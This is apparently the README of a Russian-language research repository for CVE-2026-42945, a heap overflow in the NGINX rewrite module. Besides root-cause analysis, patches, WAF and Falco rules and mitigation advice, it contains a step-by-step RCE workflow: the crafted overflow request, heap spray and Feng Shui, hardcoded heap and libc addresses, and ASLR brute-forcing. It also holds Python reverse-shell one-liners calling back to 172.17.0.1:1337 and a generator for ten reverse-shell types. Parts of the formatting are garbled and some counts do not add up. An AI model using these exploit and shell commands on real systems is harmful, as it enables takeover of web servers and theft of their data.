Полный репозиторий исследования CVE-2026-42945 с анализом переполнения буфера в куче, эксплойтом RCE (распыление кучи + Feng Shui), скриптами обнаружения и руководством по устранению уязвимости модуля перезаписи NGINX.
| Метрика | Значение |
|---|
| CVSS v4.0 | 9.2 (Критический) |
| CVSS v3.1 | 8.1 (Высокий) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Переполнение буфера кучи |
| Введена | Июнь 2008 — v0.6.27 |
| Обнаружена | Апрель 2026 — DepthFirst Research |
| Исправлена | 13 мая 2026 — v1.30.1, v1.31.0 |
| CVE опубликована | 21 мая 2026 |
| Время жизни | ~18 лет (не обнаружена) |
| Коммит исправления | 524977e7c534e87e5b55739fa74601c9f1102686 |
Неаутентифицированный удаленный злоумышленник может вызвать детерминированное переполнение буфера кучи в рабочих процессах NGINX, отправив специально сформированный HTTP-запрос на сервер с определенным шаблоном конфигурации rewrite + set/if/rewrite. Переполнение повреждает метаданные кучи (указатели ngx_pool_cleanup_t), что позволяет выполнить удаленный код (RCE) с помощью техник heap spray и Feng Shui.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Ключевые требования:**
- Директива `rewrite`, замена которой содержит `?` (разделитель строки запроса)
- Последующая директива `set`, `if` или `rewrite`, которая ссылается на **безымянный захват PCRE** (`$1`, `$2` и т.д.)
- Символ `?` в замене rewrite запускает `ngx_http_script_start_args_code`, который устанавливает `e->is_args = 1`
### Что может сделать атакующий
| Возможность | Описание |
|-----------|-------------|
| **Отказ в обслуживании (DoS)** | Детерминированное аварийное завершение рабочих процессов, вызывающее циклы перезапуска (работает независимо от ASLR) |
| **Удаленное выполнение кода (RCE)** | При отключенном ASLR (или обходе через частичную перезапись) достигается полное RCE от имени пользователя nginx |
| **Кража данных** | С помощью примитивов чтения памяти извлекаются конфиденциальные данные из кучи рабочего процесса |
| **Постоянство (устойчивость)** | Внедрение бэкдоров через выполнение кода в памяти рабочего процесса |
---
## 2. Анализ первопричины
### Двухпроходный механизм скриптов
Модуль `ngx_http_rewrite_module` NGINX использует **двухпроходный механизм скриптов** в `src/http/ngx_http_script.c`:
1. **Проход длины** (`ngx_http_script_run`): перебирает все коды скрипта для вычисления необходимого общего размера буфера. Записывает длины в `le.ip` и `le.pos`.
2. **Проход копирования** (`ngx_http_script_copy_len`/`_code`): повторно перебирает, записывая фактические байты в предварительно выделенный буфер по адресам `e->ip` и `e->pos`.
Каждый код скрипта имеет два обработчика: для каждого прохода. Например:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### Флаг `is_args`
Флаг `e->is_args` в **структуре движка** (`ngx_http_script_engine_t`) управляет тем, как проход копирования обрабатывает определенные символы:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
Когда e->is_args = 1, код копирования для ссылок захвата $N вызывает ngx_escape_uri() с NGX_ESCAPE_ARGS, который расширяет:
+ → %2B (1 байт → 3 байта, +200%)% → %25 (1 байт → 3 байта, +200%)& → %26 (1 байт → 3 байта, +200%)Поток выполнения для уязвимого шаблона:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. Во время **оценки rewrite**, движок встречает `?` в строке замены, что запускает `ngx_http_script_start_args_code`, устанавливая `e->is_args = 1`.
2. Rewrite изменяет URI запроса и затем продолжает выполнение следующей директивы.
3. **`e->is_args` НИКОГДА НЕ СБРАСЫВАЕТСЯ**.
Затем:```
set $original_endpoint $1;
le): ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
Это правильно обнуляет le.is_args = 0, поэтому проход длины возвращает сырую, неэкранированную длину захвата.
e, который всё ещё имеет e->is_args = 1 из шага 1. Копирующий проход применяет URI-экранирование, расширяя каждый экранируемый символ с 1 байта до 3 байт внутри буфера, который был рассчитан на сырую длину — переполнение кучи.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
Коэффициент расширения равен `7 + (n_escapable * 2)`, где `n_escapable` — количество символов `+`, `%` и `&` в захвате.
---
## 3. Механика эксплуатации
### Обзор
| Шаг | Техника | Описание |
|------|-----------|-------------|
| 1 | Переполнение | Отправить специально сформированный URI с заполнением `+` для переполнения буфера в куче |
| 2 | Заливка кучи | POST большие тела на `/spray` для заполнения кучи управляемыми данными |
| 3 | Фэн-шуй | Организовать выделения так, чтобы цель переполнения (`ngx_pool_cleanup_t`) оказалась смежной |
| 4 | Повреждение обработчика | Переполнение перезаписывает `ngx_pool_cleanup_t.handler` адресом `system()` |
| 5 | Запуск очистки | Дождаться уничтожения пула → `system(cmd)` выполняет команду атакующего |
| 6 | Обратная оболочка | Цепочка к полезной нагрузке обратной оболочки для интерактивного доступа |
### Фэн-шуй между запросами
**Фэн-шуй в рамках одного запроса не работает**, потому что переполнение повреждает метаданные пула (`->d.next`, `->d.failed`) до достижения указателя `cleanup`. Когда пул уничтожается в конце запроса, поврежденные метаданные вызывают **аварийное завершение до вызова `system()`**.
Вместо этого эксплойт использует **фэн-шуй между запросами**:
1. **Запрос 1 (spray)**: POST большого тела на `/spray`. Бэкенд (`server.py`) задерживает ответ с заголовком `X-Delay`, удерживая соединение открытым и сохраняя выделение в куче. Заливка заполняет кучу поддельными блоками `ngx_pool_cleanup_t`.
2. **Запрос 2 (overflow)**: Отправить URI переполнения. Переполнение повреждает только указатель `cleanup` (не метаданные пула), направляя его на поддельный блок из заливки.
3. **Уничтожение пула**: Когда ответ заливки завершается (истекает задержка), цепочка очистки пула доходит до поддельного блока и вызывает `system(cmd)`.
### Требования к адресам
| Символ | Значение (Docker, ASLR выкл) | Описание |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Базовый адрес кучи nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` в glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Указатель на пул циклов |
| Адрес поддельной очистки | `0x5555556a4030` | Целевой адрес заливки |
### Обход ASLR
Без отключения ASLR **DoS** (аварийное завершение) всё ещё работает детерминистически. Для RCE с включённым ASLR возможны два подхода:
1. **Частичная перезапись**: Использовать 1-байтную или 2-байтную перезапись для сдвига указателя в пределах одной страницы, перебирая оставшиеся полубайты (16–256 попыток).
2. **Утечка информации**: Прочитать `/proc/self/maps` или использовать анализ памяти `log_parser.py` для определения раскладки.
---
## 4. Анализ исправления
### Официальное исправление
**Коммит**: `524977e7c534e87e5b55739fa74601c9f1102686`
**Файл**: `src/http/ngx_http_script.c`
**Строка**: ~1205 (в `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code выполняется после каждой оценки регулярного выражения как на этапе определения длины, так и на этапе копирования. Сброс e->is_args = 0 здесь гарантирует:
set, if, rewrite) начинают с чистого is_args = 0ngx_http_script_start_args_code по-прежнему может установить is_args = 1, когда встречает ? в строке замены — исправление не нарушает эту функциональностьpatches/0002-hardening-bounds-check.patch добавляет проверку границ в ngx_http_script_copy_capture_code:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Backport Patches
| Patch | Nginx Versions |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. Затрагиваемые версии
### NGINX Open Source
| Диапазон | Статус |
|----------|--------|
| **0.1.0 – 0.6.26** | Не затронуто (модуль rewrite предшествует безымянным захватам) |
| **0.6.27 – 1.30.0** | **Уязвимо** (18-летнее окно) |
| **1.30.1** | Первый исправленный выпуск |
| **1.31.0+** | Исправлено (основная ветка) |
### NGINX Plus
| Релиз | Затронуто | Исправлено |
|-------|-----------|------------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### Экосистема NGINX
| Продукт | Затронуто | Статус |
|---------|-----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Ожидается уведомление |
| F5 NGINX WAF | 5.9.0–5.12.1 | Ожидается уведомление |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Ожидается уведомление |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Ожидается уведомление |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Ожидается уведомление |
| NGINX Agent | 2.0.0–2.35.0 | Ожидается уведомление |
---
## 6. Обнаружение
### Проверка версии```bash
bash detection/detect_vuln.sh
Этот скрипт проверяет:
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### Сканирование контейнеров```bash
python3 detection/container_scan.py
Сканирует локальные образы Docker на наличие меток/переменных окружения NGINX, указывающих на уязвимые версии.
| Набор правил | Файл | Покрытие |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | Блокирует 100+ последовательных +, 50+ закодированных escapable символов, ограничивает скорость к spray-эндпоинтам |
| Suricata/Snort | detection/suricata_rule.rules | Обнаруживает избыток + в GET URI, потоки закодированных символов, POST spray на /spray, DoS с циклом сбоя |
| Falco | detection/falco_rule.yaml | Время выполнения: SIGSEGV на worker nginx, цикл сбоя (3+ за 60 сек), обнаружение heap spray POST |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
## 7. Смягчение
### Немедленное (без изменения кода)
Замените **безымянные захваты** на **именованные захваты** во всех директивах `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Именованные захваты не проходят через ngx_escape_uri(..., NGX_ESCAPE_ARGS), поэтому даже при e->is_args = 1 не происходит расширения и не возникает переполнения.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Применяет следующие меры защиты:
- Проверка ASLR и принудительное включение
- Изоляция рабочих процессов
- Ограничение core dump
- Усиление SSL/TLS
- Лимитирование запросов
- Заголовки CSP
### Проверка ASLR```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
## 9. Быстрый старт```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
Среда Docker:
- Собирает NGINX из исходников на коммите `98fc3bb78` (последний уязвимый коммит до исправления)
- Включает GDB, valgrind, `util-linux` (для `setarch -R` для отключения ASLR)
- Открывает порты **19321** (уязвимый nginx), **19322** (вторичный), **19323** (Python бэкенд)
- Точка входа использует `setarch x86_64 -R` для отключения ASLR для детерминированного расположения адресов эксплойта
- Предоставляет возможность `SYS_PTRACE` и `seccomp=unconfined` для отладки
### Только уязвимая версия```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN Контейнер```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
## 11. Вызвать переполнение
### Базовое падение (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
Это отправляет:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
Символы `+` в захвате `$1` расширяются в 3× во время копирования, в то время как буфер был рассчитан на исходную длину, переполняя кучу.
### Ожидаемый вывод```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Вычисляет минимальное количество знаков `+`, необходимых для переполнения заданного количества байт (полезно при эксплуатации определенных структур кучи).
### Расширение символов```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
Выводит коэффициент расширения для заданной длины префикса и количества экранируемых символов.
Эксплойт реализует кросс-запросный фэн-шуй для достижения надёжного выполнения кода:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### Базовое использование```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### Расширенные параметры
| Флаг | По умолчанию | Описание |
|------|-------------|----------|
| `--host` | `127.0.0.1` | Целевой хост |
| `--port` | `19321` | Целевой порт |
| `--cmd` | — | Команда для выполнения (обязательно, если не указан `--shell`) |
| `--shell` | — | Использовать интерактивный режим оболочки |
| `--tries` | `3` | Количество попыток эксплуатации |
| `--delay` | `2.0` | Задержка между spray и overflow (секунды) |
| `--payload` | — | Путь к файлу пользовательской нагрузки |
| `--debug` | — | Включить подробный вывод отладки |
### Анализ расположения кучи```bash
python3 exploit/heap_layout.py
Требуется PID работающего рабочего процесса nginx. Анализирует /proc/PID/maps для поиска:
system()python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Находит адреса кучи, байты которых не содержат экранируемых символов (`+`, `%`, `&`, `?`, и т.д.) для использования при построении эксплойт-полезной нагрузки.
---
## 13. Проверка обратной оболочки
### Архитектура```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Type | Binary | Notes |
|---|---|---|
bash | /dev/tcp | Встроенный TCP-сокет bash |
python | python3 -c | Наиболее надежный, всегда доступен |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Требуется сертификат |
powershell | powershell | Цели Windows |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### Автоматическая верификация```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
## 14. Патчинг
### Применить исправление```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### Применить бэкпорт```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
## 15. Тестирование
### Модульные тесты```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Runs:
1. Модульные тесты (pytest или unittest)
2. Тест триггера/переполнения (если сервер запущен)
3. Сканер конфигураций для уязвимых и безопасных конфигураций
4. Валидация пробного запуска патча
### Матрица регрессии```bash
bash tools/regression_matrix.sh
Тестирует несколько версий NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) на уязвимых и безопасных конфигурациях, проверяя ожидания аварийного завершения/отсутствия аварийного завершения.
bash tools/test_all_configs.sh
Тестирует все шаблоны конфигурации (базовый, расширенный, ingress, gateway) с триггерами переполнения.
---
## 16. Фаззинг
### libFuzzer Harness
Фаззер (`fuzz/ngx_http_script_fuzz.c`) симулирует двухпроходный движок скриптов:
1. Разбирает входные данные как последовательность кодов скрипта
2. Выполняет проход длины
3. Выполняет проход копирования с `e->is_args = 1`
4. Обнаруживает переполнение буфера через ASAN или несоответствие размера```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Запускает AFL++ с ASAN, настраиваемым таймаутом и ограничениями памяти для фаззинг-обвязки.
### Семенной корпус
Каталог `fuzz/corpus/` содержит начальные данные, воспроизводящие уязвимый шаблон, в том числе:
- Базовый триггер переполнения
- Именованная фиксация (не должна переполняться)
- Крайние случаи (пустая фиксация, максимальный размер и т.д.)
---
## 17. CI-конвейер
### GitHub Actions
Проект использует **единый рабочий процесс GitHub Actions CI** (`.github/workflows/ci.yml`) со следующими заданиями:
| Задание | Что делает |
|-----|-------------|
| `lint` | ShellCheck, проверка синтаксиса Python |
| `scan-configs` | Запускает config_scanner.py на всех образцах конфигураций |
| `fuzz-build` | Собирает обвязку libFuzzer |
| `test` | Запускает набор pytest/unittest |
| `detect-patch` | Проверяет формат патча и содержимое исправления |
| `verify-project` | Запускает `tools/verify_project.sh` |
### Полный конвейер```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
Конвейер выполняет 7 фаз:
| Документ | Описание |
|---|---|
docs/root-cause-analysis.md | Глубокий технический анализ ошибки двухпроходного движка скриптов с разбором кода и диаграммами |
docs/exploitation-guide.md | Пошаговая эксплуатация, распыление кучи, фэн-шуй, расчет адресов, обход ASLR |
docs/detection-guide.md | Сканирование конфигураций, анализ журналов, правила WAF, интеграция с SIEM, обнаружение аномалий |
docs/mitigation-guide.md | Преобразование именованных захватов, ограничение скорости, развертывание WAF, процедуры обновления |
docs/FAQ.md | Часто задаваемые вопросы об уязвимости, эксплуатации и устранении |
docs/timeline.md | Полная временная шкала раскрытия: от внедрения ошибки в 2008 году до исправления в 2026 |
docs/operational-guidance.md | Реагирование на инциденты, криминалистика, сбор IOCs, экстренное смягчение |
docs/case-study.md | Сценарий имитации реальной атаки с анализом цепочки поражения |
docs/presentation-slides.md | Слайды для конференций/встреч с заметками докладчика |
| Параметр | Значение |
|---|---|
| Всего файлов | более 80 |
| Каталогов | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Python-скриптов | 22 (exploit, detection, tools, shell, test) |
| Shell-скриптов | 15 (detection, tools, shell, test, pipelines) |
| Патчей | 5 (1 исправление + 1 усиление защиты + 3 бэкпорта) |
| Наборов правил WAF | 3 (ModSecurity, Suricata, Falco) |
| Конфигураций CI | 1 (GitHub Actions — только CI) |
| Документации | 9 подробных технических документов |
| Примеров конфигураций | 7 (4 уязвимых, 2 безопасных, 1 с именованным захватом + 3 продвинутых) |
| Журнал коммитов | более 1003 отдельных коммитов |
| Типов оболочек | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Фаззинг-обвязка | 1 (libFuzzer, ~200 строк на C) |
| Тестовых примеров | 8 модульных тестов + запускатель shell |
| Версий NGINX в регрессии | 20 в регрессионной матрице |
| Жизненный цикл | 18 лет (2008–2026) |
| Ссылка | URL |
|---|---|
| Запись NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Коммит с исправлением | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| Уведомление F5 | https://my.f5.com/manage/s/article/K000161019 |
| Список изменений NGINX | https://nginx.org/en/CHANGES |
| Ссылка | URL |
|---|---|
| DepthFirst Research | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| Репозиторий PoC | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| Ресурс | Описание |
|---|---|
ngx_http_script.c | Уязвимый файл исходного кода в модуле перезаписи NGINX |
ngx_pool_cleanup_t | Структура кучи, повреждаемая для достижения RCE |
ngx_escape_uri() | Функция экранирования, вызывающая переполнение |
setarch(8) | Инструмент Linux для отключения ASLR и получения детерминированных адресов эксплуатации |
Этот проект предназначен для образовательных целей и исследований в области защитной безопасности. Уязвимость была ответственно раскрыта и исправлена поддерживающими NGINX.